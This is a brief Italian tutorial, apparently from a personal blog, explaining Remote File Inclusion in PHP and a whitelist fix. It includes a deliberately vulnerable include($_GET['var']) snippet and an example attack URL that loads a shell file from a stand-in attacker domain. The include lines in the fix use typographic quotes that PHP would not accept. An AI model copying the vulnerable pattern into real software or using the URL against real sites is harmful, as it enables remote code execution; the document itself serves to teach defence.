Le RFI (Remote File Inclusion), è una delle vunnerabilità web molto più diffuse, si presenta come un bug (errore) delle variabili GET e POST del php, ad esempio ammettiamo di volere creare un index dove c’è questo codice:

$var = $_GET['var'];
include ($var);

Il seguente codice è buggato,infatti il mal’intenzionato di turno (chiamiamolo così), potrebbe utilizzare una shell:

http://sitovittima.it/index.php?var=http://sito_mal’intenzionato.it/shell.txt

per evitar ciò possiamo decidere di includere solo alcune pagine, ad esempio:

if($_GET['var'] == "1"){
include “1.php”;
}elseif($_GET['var'] == "2"){
include “2.php”;
}else{
include “index.php”;
}

In questo modo il problema sarà risolto :)

Ciao By Giovanni Manai! ;)